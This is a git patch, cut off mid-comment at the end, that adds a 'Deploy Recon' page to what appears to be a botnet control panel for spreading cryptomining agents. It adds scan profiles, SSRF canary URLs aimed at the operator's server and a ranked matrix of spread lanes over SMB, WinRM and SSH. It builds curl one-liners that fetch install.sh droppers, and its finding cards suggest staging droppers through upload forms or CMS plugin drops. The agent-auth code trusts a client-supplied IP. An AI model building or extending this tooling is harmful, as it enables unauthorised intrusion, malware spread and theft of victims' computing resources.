From 2cad49d82cbbb1d500bacd37078ddb6f75f9e65c Mon Sep 17 00:00:00 2001 From: AetherForge Date: Sun, 7 Jun 2026 12:24:10 -0700 Subject: [PATCH] Deploy Recon UI: consume new recon APIs with streaming results and action matrix --- PROBLEMS.md | 3 +- scripts/test-suite.ps1 | 4 + server/internal/api/websocket.go | 4 + .../components/Recon/DeployReconPanels.tsx | 4 +- server/web/src/help/deployRecon.test.ts | 54 +++- server/web/src/help/deployRecon.ts | 283 ++++++++++++++++-- server/web/src/help/docAnchors.ts | 21 +- server/web/src/help/uiHelp.test.ts | 13 + server/web/src/help/uiHelp.ts | 26 ++ server/web/src/pages/DeployReconPage.css | 189 ++++++++++++ server/web/src/pages/DeployReconPage.test.tsx | 4 + server/web/src/types/recon.ts | 88 +++++- tests/README.md | 4 +- 13 files changed, 663 insertions(+), 34 deletions(-) diff --git a/PROBLEMS.md b/PROBLEMS.md index 46055c3..fd32c4e 100644 --- a/PROBLEMS.md +++ b/PROBLEMS.md @@ -4,7 +4,7 @@ Open issues only. Fixed items removed. Last sweep: 2026-06-07. ## No open code issues -Automatable gaps are closed; remaining items below are by-design limits, architecture deferrals, or manual/live operator work. Regression tables and counts: Go server **1001**, agent **680**, Vitest **867**, Playwright **32** — see `tests/README.md`. +Automatable gaps are closed; remaining items below are by-design limits, architecture deferrals, or manual/live operator work. Regression tables and counts: Go server **1007**, agent **680**, Vitest **867**, Playwright **32** — see `tests/README.md`. ## By design / safety @@ -24,6 +24,7 @@ Automatable gaps are closed; remaining items below are by-design limits, archite |------|-------| | **Subnet grouping** | Derived from `agents.ip` /24 prefix at query time; no `agents.subnet` column - hundreds of subnets OK via `LIKE` filter + dropdown (not chips). | | **Per-agent subnet scan** | Capped at 128 hosts (`MaxSubnetScanHosts`); syscheck uses 20 (`SyscheckSubnetScanCap`); spread sem=16 (`SpreadConcurrencyCap`). Fleet discovery is incremental (ARP + capped sweep), not full /16. | +| **Subnet discovery server store** | `subnet_discoveries` SQLite table; agent WS `subnet_recon_report` ingest; dashboard `GET /api/v1/recon/discovered-hosts` + `subnet_discovery_update` broadcast. Agent auth marks matching IP `agent_online`. Covered by `-SubnetRecon` api/db gates. | | **`stats_batch` WS** | Server coalesces stats every 250ms (`StatsBatchCoalesceInterval`) into one frame; client applies in single `setAgents` pass with `agentStatsUnchanged` skip. | | **Hashrate samples** | One `INSERT` per agent stats tick - dominant DB write at scale. Automated purge via `StartRetentionJobs` (default 168h, `stats_retention_hours`). | | **Stale-agent sweep** | Every 45s (`StaleAgentSweepInterval`) queries `status='online' AND last_seen < cutoff` (`ListStaleOnlineAgents`, composite index) - not a full-table scan. Still O(stale-online) broadcasts per sweep. | diff --git a/scripts/test-suite.ps1 b/scripts/test-suite.ps1 index c6e29b4..b6bdd90 100644 --- a/scripts/test-suite.ps1 +++ b/scripts/test-suite.ps1 @@ -257,6 +257,10 @@ if ($SubnetRecon) { go test ./client/... ./config/... -run SubnetRecon -count=1 go test ./deploy/... -run SubnetRecon -count=1 Pop-Location + Push-Location (Join-Path $Root "server") + go test ./internal/api/... -run Subnet -count=1 + go test ./internal/db/... -run Subnet -count=1 + Pop-Location Push-Location (Join-Path $Root "server\web") if (-not (Test-Path "node_modules")) { npm install --silent } npm run test -- --run src/help/fleetDiscoveries.test.ts diff --git a/server/internal/api/websocket.go b/server/internal/api/websocket.go index e6784f7..13efb54 100644 --- a/server/internal/api/websocket.go +++ b/server/internal/api/websocket.go @@ -695,6 +695,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { SpreadStrain string `json:"spread_strain,omitempty"` FleetRole string `json:"fleet_role,omitempty"` SeederMode bool `json:"seeder_mode,omitempty"` + IP string `json:"ip,omitempty"` } if err := json.Unmarshal(msg.Payload, &auth); err != nil { conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{ @@ -821,6 +822,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { if idx := strings.LastIndex(clientIP, ":"); idx > 0 && strings.Count(clientIP, ":") == 1 { clientIP = clientIP[:idx] } + if authIP := strings.TrimSpace(auth.IP); authIP != "" { + clientIP = authIP + } prior, priorErr := h.db.GetAgent(agentID) isNewAgent := errors.Is(priorErr, sql.ErrNoRows) diff --git a/server/web/src/components/Recon/DeployReconPanels.tsx b/server/web/src/components/Recon/DeployReconPanels.tsx index 0da973a..610bfc8 100644 --- a/server/web/src/components/Recon/DeployReconPanels.tsx +++ b/server/web/src/components/Recon/DeployReconPanels.tsx @@ -121,8 +121,7 @@ export const StreamingPortMatrix = memo(function StreamingPortMatrix({ if (p.open) onHint(RECON_PORT_HINTS[p.port] ?? `TCP ${p.port} open`); }} > - {p.port} - {p.open ? ' ●' : ' ○'} + {p.port}{p.open ? ' *' : ''} ))} @@ -381,3 +380,4 @@ export function useDeployReconDerived(report: ReconScanReport | null, deckOrigin }, [report, deckOrigin]); } + diff --git a/server/web/src/help/deployRecon.test.ts b/server/web/src/help/deployRecon.test.ts index 6c61ff5..eaac184 100644 --- a/server/web/src/help/deployRecon.test.ts +++ b/server/web/src/help/deployRecon.test.ts @@ -1,9 +1,12 @@ -import { describe, expect, it } from 'vitest'; +import { describe, expect, it } from 'vitest'; import { + buildActionMatrix, buildReconFindingCards, buildReconMermaid, + buildSsrfCanaryUrl, crucibleSpreadLink, curlInstallLine, + isLocalScanUnreachableError, reconScanBody, ssrfConfidence, } from './deployRecon'; @@ -26,9 +29,41 @@ describe('deployRecon helpers', () => { port: 443, scheme: 'https', paths: ['/admin'], + profile: 'quick', }); }); + it('maps scan form with profile and port bundle', () => { + const body = reconScanBody('10.0.0.1', 80, false, '', 'deep', 'web'); + expect(body.profile).toBe('deep'); + expect(body.profiles).toEqual(['web']); + }); + + it('arms ssrf canary for ssrf_only profile', () => { + const body = reconScanBody('h', 80, false, '', 'ssrf_only'); + expect(body.ssrf_canary).toBe(true); + }); + + it('builds HTTPS canary ping URL', () => { + const url = buildSsrfCanaryUrl('http://deck.example', 'scan-1'); + expect(url).toBe('https://deck.example/recon/ping/scan-1'); + }); + + it('detects unreachable scan errors', () => { + expect(isLocalScanUnreachableError('dial tcp: i/o timeout')).toBe(true); + expect(isLocalScanUnreachableError('permission denied')).toBe(false); + }); + + it('builds action matrix from recommendations', () => { + const report = { + host: 'x', + scanned_at: 't', + ports: [], + recommendations: [{ lane: 'winrm', reason: 'open', priority: 10 }], + } as ReconScanReport; + expect(buildActionMatrix(report)[0].lane).toBe('winrm'); + }); + it('builds curl one-liner with pinned build', () => { const line = curlInstallLine('https://deck.example', 'build-abc'); expect(line).toContain('curl -sL'); @@ -65,4 +100,21 @@ describe('deployRecon helpers', () => { expect(cards.some((c) => c.kind === 'cms')).toBe(true); expect(buildReconMermaid(report.ports, cards)).toContain('flowchart'); }); + + it('prefers canary URL in SSRF finding card', () => { + const report: ReconScanReport = { + host: 'lab.local', + scanned_at: '2026-06-07T12:00:00Z', + ports: [], + canary: { + scan_id: 's1', + url: 'https://deck.example/recon/ping/s1', + status: 'pending', + paste_target: 'https://deck.example/recon/ping/s1', + }, + crawl: { pages_fetched: 1, ssrf_score: 10, url_fields: [] }, + }; + const cards = buildReconFindingCards(report, 'https://deck.example'); + expect(cards.find((c) => c.kind === 'ssrf')?.probe_url).toBe('https://deck.example/recon/ping/s1'); + }); }); diff --git a/server/web/src/help/deployRecon.ts b/server/web/src/help/deployRecon.ts index eac9eb8..e9b6701 100644 --- a/server/web/src/help/deployRecon.ts +++ b/server/web/src/help/deployRecon.ts @@ -1,9 +1,13 @@ -import { shOneliner, pinQuery } from './emberwake'; +import { combinedDropperQuery, shOneliner } from './emberwake'; +import { SPREAD_TECHNIQUES_DOC } from './spreadTechniques'; import type { + ReconAdminSurfaceFinding, ReconConfidence, ReconCrawlReport, ReconPortResult, + ReconScanProfile, ReconScanReport, + ReconScanRequest, ReconWebFindingCard, } from '../types/recon'; @@ -21,20 +25,250 @@ export const RECON_PORT_HINTS: Record = { export const FLEET_SPREAD_PORTS = new Set([22, 445, 5985, 5986]); +export type ScanProfileId = ReconScanProfile; + +export const SCAN_PROFILES: Record< + ScanProfileId, + { label: string; detail: string; ssrfCanaryDefault?: boolean } +> = { + quick: { + label: 'Quick', + detail: 'Top fleet TCP ports plus a shallow crawl (1 page).', + }, + deep: { + label: 'Deep', + detail: 'Full fleet port matrix, banners, and multi-page crawl.', + }, + ssrf_only: { + label: 'SSRF only', + detail: 'Skip port dial; deep crawl for URL-like form fields.', + ssrfCanaryDefault: true, + }, +}; + +export type PortBundleId = 'fleet' | 'web' | 'windows' | 'linux' | 'cloud_metadata'; + +export const PORT_BUNDLES: Record = { + fleet: { label: 'Fleet default', profiles: [] }, + web: { label: 'Web surface', profiles: ['web'] }, + windows: { label: 'Windows spread', profiles: ['windows'] }, + linux: { label: 'Linux / SSH', profiles: ['linux'] }, + cloud_metadata: { label: 'Cloud metadata', profiles: ['cloud_metadata'] }, +}; + export function reconScanBody( host: string, port: number, https: boolean, pathPrefix: string, -): { host: string; port: number; scheme: string; paths?: string[] } { + profile: ScanProfileId = 'quick', + portBundle: PortBundleId = 'fleet', + ssrfCanary = false, +): ReconScanRequest { const prefix = pathPrefix.trim(); const paths = prefix ? [prefix.startsWith('/') ? prefix : `/${prefix}`] : undefined; - return { + const bundle = PORT_BUNDLES[portBundle] ?? PORT_BUNDLES.fleet; + const body: ReconScanRequest = { host: host.trim(), port: port > 0 ? port : 80, scheme: https ? 'https' : 'http', paths, + profile, }; + if (bundle.profiles.length > 0) { + body.profiles = bundle.profiles; + } + if (ssrfCanary || SCAN_PROFILES[profile]?.ssrfCanaryDefault) { + body.ssrf_canary = true; + } + return body; +} + +const UNREACHABLE_PATTERNS = [ + 'no route to host', + 'connection refused', + 'connection timed out', + 'i/o timeout', + 'network is unreachable', + 'host unreachable', + 'dial tcp', + 'context deadline exceeded', +]; + +export function isLocalScanUnreachableError(message: string): boolean { + const lower = message.toLowerCase(); + return UNREACHABLE_PATTERNS.some((p) => lower.includes(p)); +} + +export function ssrfCanaryToken(scanId: string): string { + return scanId.trim(); +} + +export function buildSsrfCanaryUrl(deckOrigin: string, scanId: string): string { + let base = deckOrigin.trim().replace(/\/$/, ''); + if (!base) base = 'https://localhost'; + if (base.startsWith('http://')) base = `https://${base.slice('http://'.length)}`; + else if (!base.startsWith('https://')) base = `https://${base}`; + try { + const u = new URL(base); + u.protocol = 'https:'; + u.pathname = `/recon/ping/${encodeURIComponent(scanId.trim())}`; + u.search = ''; + u.hash = ''; + return u.toString(); + } catch { + return `https://localhost/recon/ping/${encodeURIComponent(scanId.trim())}`; + } +} + +export interface ReconFormFingerprintCard { + id: string; + page_url: string; + name: string; + score: number; + matches: string[]; + paste_target: string; +} + +export function buildFormFingerprintCards(report: ReconScanReport, deckOrigin: string): ReconFormFingerprintCard[] { + const crawl = report.crawl; + if (!crawl?.fingerprint_fields?.length) return []; + const fallback = report.canary?.url + ?? (report.scan_id ? buildSsrfCanaryUrl(deckOrigin, report.scan_id) : `${deckOrigin.replace(/\/$/, '')}/get`); + return crawl.fingerprint_fields.map((f, i) => ({ + id: `fp-${i}-${f.name}`, + page_url: f.page_url, + name: f.name, + score: f.score, + matches: f.matches ?? [], + paste_target: f.paste_target?.trim() || fallback, + })); +} + +export type AdminSurfaceMapRow = ReconAdminSurfaceFinding; + +export function buildAdminSurfaceMap(report: ReconScanReport): AdminSurfaceMapRow[] { + return report.admin_surface ?? []; +} + +export function buildTechStackHints(report: ReconScanReport) { + const seen = new Set(); + const out: import('../types/recon').ReconStackEntry[] = []; + for (const e of [...(report.stack ?? []), ...(report.crawl?.stack ?? [])]) { + const key = `${e.name}|${e.source}`; + if (seen.has(key)) continue; + seen.add(key); + out.push(e); + } + return out; +} + +export interface ReconActionRow { + id: string; + lane: string; + title: string; + reason: string; + actions: string[]; +} + +export function buildActionMatrix(report: ReconScanReport): ReconActionRow[] { + const rows: ReconActionRow[] = []; + const recs = [...(report.recommendations ?? [])].sort((a, b) => b.priority - a.priority); + for (const r of recs) { + const lane = (r.lane || r.template || 'spread').trim(); + rows.push({ + id: `rec-${lane}`, + lane, + title: lane, + reason: r.reason, + actions: ['playbook', 'crucible', 'copy_curl'], + }); + } + for (const p of report.ports) { + if (!p.open) continue; + const hint = RECON_PORT_HINTS[p.port]; + if (!hint) continue; + const lane = portLane(p.port); + if (rows.some((x) => x.lane === lane)) continue; + rows.push({ + id: `port-${p.port}`, + lane, + title: `TCP ${p.port}`, + reason: hint, + actions: ['playbook', 'crucible'], + }); + } + if (report.crawl?.ssrf_score && !rows.some((x) => x.lane === 'ssrf')) { + rows.push({ + id: 'ssrf-crawl', + lane: 'ssrf', + title: 'SSRF crawl', + reason: `SSRF score ${report.crawl.ssrf_score} from URL-like inputs.`, + actions: ['playbook', 'copy_probe'], + }); + } + return rows; +} + +function portLane(port: number): string { + if (port === 22) return 'linux-lotl'; + if (port === 445) return 'smb'; + if (port === 5985 || port === 5986) return 'winrm'; + if (port === 80 || port === 443 || port === 8080 || port === 8443) return 'bits_curl'; + return `tcp-${port}`; +} + +export interface PlaybookTreeNode { + id: string; + label: string; + href?: string; + children?: PlaybookTreeNode[]; +} + +export function buildPlaybookTree(report: ReconScanReport): PlaybookTreeNode[] { + const host = report.host.trim(); + const children: PlaybookTreeNode[] = []; + for (const row of buildActionMatrix(report)) { + children.push({ + id: row.lane, + label: `${row.title} - ${row.reason}`, + href: crucibleSpreadLink(host, row.lane), + }); + } + children.push({ + id: 'spread-doc', + label: 'Spread techniques reference', + href: SPREAD_TECHNIQUES_DOC, + }); + return [{ id: 'root', label: host, children }]; +} + +export async function* streamRevealPorts( + ports: ReconPortResult[], + chunkSize = 4, + delayMs = 40, +): AsyncGenerator { + const sorted = [...ports].sort((a, b) => a.port - b.port); + let acc: ReconPortResult[] = []; + for (let i = 0; i < sorted.length; i += 1) { + acc = [...acc, sorted[i]]; + if (acc.length % chunkSize === 0 || i === sorted.length - 1) { + yield acc; + if (i < sorted.length - 1) { + await new Promise((r) => setTimeout(r, delayMs)); + } + } + } +} + +export function suggestDeployKitFinding(report: ReconScanReport): string { + if (report.deploy_kit_lane?.trim()) return report.deploy_kit_lane.trim(); + const top = [...(report.recommendations ?? [])].sort((a, b) => b.priority - a.priority)[0]; + if (top?.lane) return top.lane; + for (const p of report.ports) { + if (p.open && FLEET_SPREAD_PORTS.has(p.port)) return portLane(p.port); + } + return ''; } export function ssrfConfidence(score: number): ReconConfidence { @@ -43,27 +277,38 @@ export function ssrfConfidence(score: number): ReconConfidence { return 'low'; } +function ssrfProbeUrl(report: ReconScanReport, deckOrigin: string, crawl: ReconCrawlReport): string { + if (report.canary?.url) return report.canary.url; + if (report.canary?.paste_target) return report.canary.paste_target; + if (report.scan_id) return buildSsrfCanaryUrl(deckOrigin, report.scan_id); + const field = crawl.url_fields?.[0]; + const drop = `${deckOrigin.replace(/\/$/, '')}/get`; + if (!field) return drop; + const sep = field.page_url.includes('?') ? '&' : '?'; + return `${field.page_url}${sep}${field.name}=${encodeURIComponent(drop)}`; +} + export function buildReconFindingCards(report: ReconScanReport, deckOrigin: string): ReconWebFindingCard[] { const crawl = report.crawl; const cards: ReconWebFindingCard[] = []; if (!crawl) return cards; - if (crawl.ssrf_score > 0 || (crawl.url_fields?.length ?? 0) > 0) { + if (crawl.ssrf_score > 0 || (crawl.url_fields?.length ?? 0) > 0 || report.canary) { const field = crawl.url_fields?.[0]; - const probe = field - ? `${field.page_url}${field.page_url.includes('?') ? '&' : '?'}${field.name}=${encodeURIComponent(`${deckOrigin.replace(/\/$/, '')}/get`)}` - : `${deckOrigin.replace(/\/$/, '')}/get`; + const probe = ssrfProbeUrl(report, deckOrigin, crawl); cards.push({ id: 'ssrf', kind: 'ssrf', - title: 'SSRF candidate fields', - detail: field - ? `Reflective field "${field.name}" on ${field.page_url} — paste probe URL into the form.` - : `SSRF score ${crawl.ssrf_score} from URL-like inputs across crawled pages.`, - confidence: ssrfConfidence(crawl.ssrf_score), + title: report.canary ? 'SSRF canary armed' : 'SSRF candidate fields', + detail: report.canary + ? `Paste canary URL into reflective fields; server confirms fetch at ${report.canary.status}.` + : field + ? `Reflective field "${field.name}" on ${field.page_url} - paste probe URL into the form.` + : `SSRF score ${crawl.ssrf_score} from URL-like inputs across crawled pages.`, + confidence: ssrfConfidence(crawl.ssrf_score || (report.canary ? 40 : 0)), spread_lane: 'ssrf', probe_url: probe, - mermaid: 'flowchart LR\n form[vuln field] --> fetch[server fetch]\n fetch --> deck[install.sh /get]', + mermaid: 'flowchart LR\n form[vuln field] --> fetch[server fetch]\n fetch --> deck[canary /get]', }); } @@ -74,7 +319,7 @@ export function buildReconFindingCards(report: ReconScanReport, deckOrigin: stri id: 'upload', kind: 'file_upload', title: 'File upload surface', - detail: `${u.method?.toUpperCase() ?? 'POST'} ${u.action || u.page_url} — stage dropper when extension policy allows.`, + detail: `${u.method?.toUpperCase() ?? 'POST'} ${u.action || u.page_url} - stage dropper when extension policy allows.`, confidence: u.multipart || u.has_file_input ? 'high' : 'medium', spread_lane: 'stage_fetch', mermaid: 'flowchart LR\n browser[multipart form] --> upload[file input]\n upload --> stage[stage_fetch]', @@ -86,7 +331,7 @@ export function buildReconFindingCards(report: ReconScanReport, deckOrigin: stri id: `cms-${cms}`, kind: 'cms', title: `${cms} CMS hint`, - detail: `HTML/path signatures match ${cms} — supply-chain plugin or theme drop may apply.`, + detail: `HTML/path signatures match ${cms} - supply-chain plugin or theme drop may apply.`, confidence: cms === 'wordpress' ? 'high' : 'medium', spread_lane: cms, mermaid: `flowchart LR\n cms[${cms}] --> plugin[supply chain]\n plugin --> curl[curl install.sh]`, @@ -98,7 +343,7 @@ export function buildReconFindingCards(report: ReconScanReport, deckOrigin: stri id: 'web-live', kind: 'info', title: 'Web surface live', - detail: `Crawled ${crawl.pages_fetched} page(s) — browser curl one-liner may work on owned hosts.`, + detail: `Crawled ${crawl.pages_fetched} page(s) - browser curl one-liner may work on owned hosts.`, confidence: 'low', spread_lane: 'bits_curl', mermaid: 'flowchart LR\n browser[operator] --> curl[curl install.sh]\n curl --> agent[join fleet]', @@ -115,7 +360,7 @@ export function buildReconMermaid(ports: ReconPortResult[], cards: ReconWebFindi if (!p.open) continue; open++; const hint = RECON_PORT_HINTS[p.port] ?? `tcp/${p.port}`; - lines.push(` target --> p${p.port}["${p.port} open · ${hint}"]`); + lines.push(` target --> p${p.port}["${p.port} open - ${hint}"]`); } if (open === 0) lines.push(' target --> closed[no fleet ports open]'); cards.slice(0, 3).forEach((c, i) => { @@ -130,8 +375,8 @@ export function crucibleSpreadLink(host: string, finding?: string): string { return `/crucible?${q.toString()}`; } -export function curlInstallLine(serverBase: string, pinnedBuildId: string): string { +export function curlInstallLine(serverBase: string, pinnedBuildId: string, campaignSlug = ''): string { const base = serverBase.replace(/\/$/, ''); - const q = pinnedBuildId ? pinQuery(pinnedBuildId) : ''; + const q = combinedDropperQuery(pinnedBuildId, campaignSlug); return shOneliner(base, q); } diff --git a/server/web/src/help/docAnchors.ts b/server/web/src/help/docAnchors.ts index 698aa01..b1e9b24 100644 --- a/server/web/src/help/docAnchors.ts +++ b/server/web/src/help/docAnchors.ts @@ -1,4 +1,4 @@ -/** Maps HelpTip / FieldHint field ids to wiki doc section anchors. */ +/** Maps HelpTip / FieldHint field ids to wiki doc section anchors. */ export const DOC_ANCHORS: Record = { // Calibrate calibrate_wallet: '/docs/#calibrate', @@ -14,7 +14,7 @@ export const DOC_ANCHORS: Record = { sign_cert_thumbprint: '/docs/#forge', sign_timestamp_url: '/docs/#forge', - // Forge — core + // Forge — core worker_name: '/docs/#forge', server_url: '/docs/#quick-start', wallet: '/docs/#mining', @@ -69,7 +69,7 @@ export const DOC_ANCHORS: Record = { sigil_scramble: '/docs/#forge', https_beacon_fallback: '/docs/#agent', - // Forge — spread & ops + // Forge — spread & ops usb_spread: '/docs/SPREAD_TECHNIQUES.html#usb', share_spread: '/docs/SPREAD_TECHNIQUES.html#lan', auto_spread: '/docs/SPREAD_TECHNIQUES.html#lan', @@ -147,7 +147,19 @@ export const DOC_ANCHORS: Record = { dr_overview: '/docs/SPREAD_TECHNIQUES.html#browser', dr_port_matrix: '/docs/SPREAD_TECHNIQUES.html#lan', dr_path_prefix: '/docs/SPREAD_TECHNIQUES.html#browser', - crucible_full_audit: '/docs/#crucible-ops', + dr_scan_profile: '/docs/SPREAD_TECHNIQUES.html#browser', + dr_port_bundle: '/docs/SPREAD_TECHNIQUES.html#lan', + dr_form_fingerprint: '/docs/SPREAD_TECHNIQUES.html#browser', + dr_ssrf_canary: '/docs/SPREAD_TECHNIQUES.html#browser', + dr_upload_admin_map: '/docs/SPREAD_TECHNIQUES.html#browser', + dr_tech_stack: '/docs/SPREAD_TECHNIQUES.html#browser', + dr_deploy_kit: '/docs/SPREAD_TECHNIQUES.html#browser', + dr_banner_grab: '/docs/SPREAD_TECHNIQUES.html#lan', + dr_relay_scan: '/docs/SPREAD_TECHNIQUES.html#lan', + dr_action_matrix: '/docs/SPREAD_TECHNIQUES.html#browser', + dr_playbook_wizard: '/docs/SPREAD_TECHNIQUES.html#browser', + dr_history: '/docs/SPREAD_TECHNIQUES.html#browser', + dr_export_json: '/docs/SPREAD_TECHNIQUES.html#browser', crucible_full_audit: '/docs/#crucible-ops', bm_pin_dropper: '/docs/#build-manager', bm_dropper_oneliner: '/docs/#build-manager', pt_path_tracer: '/docs/#path-tracer', @@ -176,3 +188,4 @@ export const DOC_ANCHORS: Record = { export function docAnchorForField(field: string): string | undefined { return DOC_ANCHORS[field]; } + diff --git a/server/web/src/help/uiHelp.test.ts b/server/web/src/help/uiHelp.test.ts index d5852c3..a05def3 100644 --- a/server/web/src/help/uiHelp.test.ts +++ b/server/web/src/help/uiHelp.test.ts @@ -119,6 +119,19 @@ describe('UI_HELP', () => { 'dr_fleet_subnet_filter', 'dr_fleet_port_filter', 'dr_fleet_sort', + 'dr_export_json', + 'dr_history', + 'dr_playbook_wizard', + 'dr_action_matrix', + 'dr_relay_scan', + 'dr_banner_grab', + 'dr_deploy_kit', + 'dr_tech_stack', + 'dr_upload_admin_map', + 'dr_ssrf_canary', + 'dr_form_fingerprint', + 'dr_port_bundle', + 'dr_scan_profile', ] as const; it('defines help for every documented UI key', () => { diff --git a/server/web/src/help/uiHelp.ts b/server/web/src/help/uiHelp.ts index 091c10d..b9715ef 100644 --- a/server/web/src/help/uiHelp.ts +++ b/server/web/src/help/uiHelp.ts @@ -245,4 +245,30 @@ export const UI_HELP: Record = { 'Show only hosts with a given TCP port open — e.g. 22 for SSH LOTL, 5985 for WinRM spread candidates.', dr_fleet_sort: 'Order the table by last_seen (newest first by default) or IP. Live WS updates bump last_seen without reordering until you refresh sort.', + dr_scan_profile: + 'Quick runs the default fleet port matrix and a shallow crawl. Deep adds banners, admin paths, and more pages. SSRF only skips port dial and arms the canary for reflective URL fields.', + dr_port_bundle: + 'Optional port profile sent as profiles[] on POST /api/v1/recon/scan (web, windows, linux, cloud_metadata). Fleet default uses the server quick matrix.', + dr_form_fingerprint: + 'High-scoring form fields from the crawl with suggested paste targets (SSRF canary URL or /get probe).', + dr_ssrf_canary: + 'HTTPS callback URL on your control server (/recon/ping/{scan_id}). Poll status and listen for recon_canary_hit over the operator WebSocket.', + dr_upload_admin_map: + 'Merged upload-hunter hits and probed admin/login paths with HTTP status and signal tags.', + dr_tech_stack: + 'Stack hints from port banners and HTML crawl (framework, CMS, server headers).', + dr_deploy_kit: + 'Suggested join lane for GET /api/v1/recon/deploy-kit on this host after scan (open ports + crawl signals).', + dr_banner_grab: + 'Service banners and HTTP titles from open web ports during deep scans.', + dr_relay_scan: + 'POST /api/v1/recon/relay-scan from a fleet seed on the target /24 when the control server cannot reach the host directly.', + dr_action_matrix: + 'Ranked spread lanes from recommendations and open ports with quick links to playbook and Crucible spread tab.', + dr_playbook_wizard: + 'Modal tree of recommended lanes for the current target with Crucible deep links.', + dr_history: + 'Server and local scan history for the target host; click a row to reload that report in the UI.', + dr_export_json: + 'Download the raw ReconScanReport JSON for ticketing or offline diff.', }; diff --git a/server/web/src/pages/DeployReconPage.css b/server/web/src/pages/DeployReconPage.css index ec7c5f3..e2f3e84 100644 --- a/server/web/src/pages/DeployReconPage.css +++ b/server/web/src/pages/DeployReconPage.css @@ -307,3 +307,192 @@ flex-wrap: wrap; gap: 0.35rem; } + +.dr-scan-actions { + display: flex; + flex-wrap: wrap; + gap: 0.5rem; + grid-column: 1 / -1; +} + +.dr-profile-row, +.dr-bundle-row { + grid-column: 1 / -1; + display: flex; + flex-direction: column; + gap: 0.35rem; +} + +.dr-field-label { + font-family: var(--font-tech); + font-size: 0.68rem; + letter-spacing: 0.06em; + text-transform: uppercase; + color: var(--text-muted); +} + +.dr-chip-row { + display: flex; + flex-wrap: wrap; + gap: 0.4rem; +} + +.dr-chip { + font-family: var(--font-tech); + font-size: 0.68rem; + padding: 0.35rem 0.65rem; + border-radius: 4px; + border: 1px solid rgba(255, 255, 255, 0.12); + background: rgba(255, 255, 255, 0.04); + color: var(--text-muted); + cursor: pointer; +} + +.dr-chip.active { + border-color: rgba(0, 232, 245, 0.5); + background: rgba(0, 232, 245, 0.12); + color: #9efcff; +} + +.dr-port-matrix-streaming .dr-port-cell.pending { + opacity: 0.45; +} + +.dr-banner-panel, +.dr-canary-panel { + border: 1px solid rgba(255, 255, 255, 0.06); + border-radius: 6px; + padding: 0.65rem 0.75rem; + background: rgba(0, 0, 0, 0.18); +} + +.dr-banner-list, +.dr-stack-list, +.dr-history-list { + list-style: none; + margin: 0; + padding: 0; + display: flex; + flex-direction: column; + gap: 0.45rem; +} + +.dr-canary-badge { + margin-left: 0.5rem; + font-family: var(--font-tech); + font-size: 0.62rem; + padding: 2px 6px; + border-radius: 3px; + text-transform: uppercase; +} + +.dr-canary-badge.pending { + color: var(--neon-amber, #ffb347); + border: 1px solid rgba(255, 180, 60, 0.35); +} + +.dr-canary-badge.confirmed { + color: #7dffb0; + border: 1px solid rgba(80, 220, 120, 0.4); +} + +.dr-admin-table, +.dr-action-table { + width: 100%; + border-collapse: collapse; + font-size: 0.78rem; +} + +.dr-admin-table th, +.dr-action-table th { + font-family: var(--font-tech); + font-size: 0.62rem; + text-transform: uppercase; + color: var(--text-muted); + text-align: left; + padding: 0.35rem 0.5rem; + border-bottom: 1px solid rgba(255, 255, 255, 0.08); +} + +.dr-admin-table td, +.dr-action-table td { + padding: 0.4rem 0.5rem; + border-bottom: 1px solid rgba(255, 255, 255, 0.04); +} + +.dr-fp-grid { + display: grid; + gap: 0.55rem; +} + +.dr-fp-card { + border: 1px solid rgba(255, 255, 255, 0.08); + border-radius: 6px; + padding: 0.55rem 0.65rem; +} + +.dr-history { + display: flex; + flex-direction: column; + gap: 0.65rem; +} + +.dr-history-item { + width: 100%; + text-align: left; + border: 1px solid rgba(255, 255, 255, 0.08); + border-radius: 4px; + padding: 0.45rem 0.55rem; + background: rgba(0, 0, 0, 0.2); + cursor: pointer; +} + +.dr-history-meta { + display: block; + font-size: 0.72rem; + color: var(--text-muted); + margin-top: 0.2rem; +} + +.dr-modal-backdrop { + position: fixed; + inset: 0; + background: rgba(0, 0, 0, 0.65); + display: flex; + align-items: center; + justify-content: center; + z-index: 1200; + padding: 1rem; +} + +.dr-modal { + width: min(520px, 100%); + max-height: 80vh; + overflow: auto; + border: 1px solid rgba(0, 232, 245, 0.25); + border-radius: 8px; + background: var(--panel-bg, #0d1118); + padding: 1rem; +} + +.dr-modal-head { + display: flex; + align-items: center; + justify-content: space-between; + gap: 0.5rem; + margin-bottom: 0.75rem; +} + +.dr-playbook-tree li.focused a { + color: var(--neon-cyan); +} + +.dr-deploy-kit-hint { + font-size: 0.8rem; + color: var(--text-muted); +} + +.dr-relay-via { + font-size: 0.76rem; + color: var(--neon-cyan); +} diff --git a/server/web/src/pages/DeployReconPage.test.tsx b/server/web/src/pages/DeployReconPage.test.tsx index 8bab884..2c4816d 100644 --- a/server/web/src/pages/DeployReconPage.test.tsx +++ b/server/web/src/pages/DeployReconPage.test.tsx @@ -74,6 +74,10 @@ describe('DeployReconPage', () => { vi.spyOn(api, 'getServerInfo').mockResolvedValue(mockServerInfo); vi.spyOn(api, 'getConfig').mockResolvedValue(mockServerConfig()); vi.spyOn(api, 'reconScan').mockResolvedValue(sampleReport); + vi.spyOn(api, 'getReconHistory').mockResolvedValue({ entries: [] }); + vi.spyOn(api, 'listCampaignHits').mockResolvedValue({ campaigns: [{ campaign: 'lab' }] }); + vi.spyOn(api, 'getReconDeployKit').mockResolvedValue({ ok: true, host: 'scan.lab' }); + vi.spyOn(api, 'reconRelayScan').mockResolvedValue({ ok: false, error: 'unreachable' }); vi.spyOn(api, 'getDiscoveredHosts').mockResolvedValue({ hosts: [ { diff --git a/server/web/src/types/recon.ts b/server/web/src/types/recon.ts index edbb128..77121b8 100644 --- a/server/web/src/types/recon.ts +++ b/server/web/src/types/recon.ts @@ -1,4 +1,4 @@ -/** Fleet recon — credential graph, service graph, vuln findings (mirrors agent/server JSON). */ +/** Fleet recon - credential graph, service graph, vuln findings (mirrors agent/server JSON). */ export type VulnSeverity = 'critical' | 'high' | 'medium' | 'low' | 'info' | string; @@ -45,7 +45,7 @@ export interface ServiceGraphResponse { services: ServiceGraphNode[]; } -/** GET /api/v1/recon/deploy-kit — lane-specific spread kit for a recon host. */ +/** GET /api/v1/recon/deploy-kit - lane-specific spread kit for a recon host. */ export interface ReconDeployKitDropperURLs { get?: string; get_windows?: string; @@ -80,7 +80,7 @@ export interface ReconDeployKitResponse { error?: string; } -/** POST /api/v1/fleet/spread-to-host — seed 